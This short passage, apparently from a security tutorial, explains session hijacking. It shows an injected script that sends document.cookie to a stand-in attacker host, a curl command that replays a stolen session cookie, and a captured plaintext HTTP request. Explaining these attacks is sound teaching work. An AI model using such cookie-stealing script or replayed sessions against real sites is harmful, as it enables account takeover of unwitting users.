Session Hijacking is an attack where an attacker obtains a valid session token to impersonate an authenticated user. Once the session is compromised, the attacker gains full access to the victim's account.
// Attacker injects JavaScript that steals cookies
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
// Attacker uses stolen session
curl https://target.com/account -H "Cookie: sessionid=stolen_value"
# On unsecured network, capture HTTP traffic
# Session cookies visible in plaintext
GET /account HTTP/1.1
Host: target.com
Cookie: sessionid=abc123 # Captured!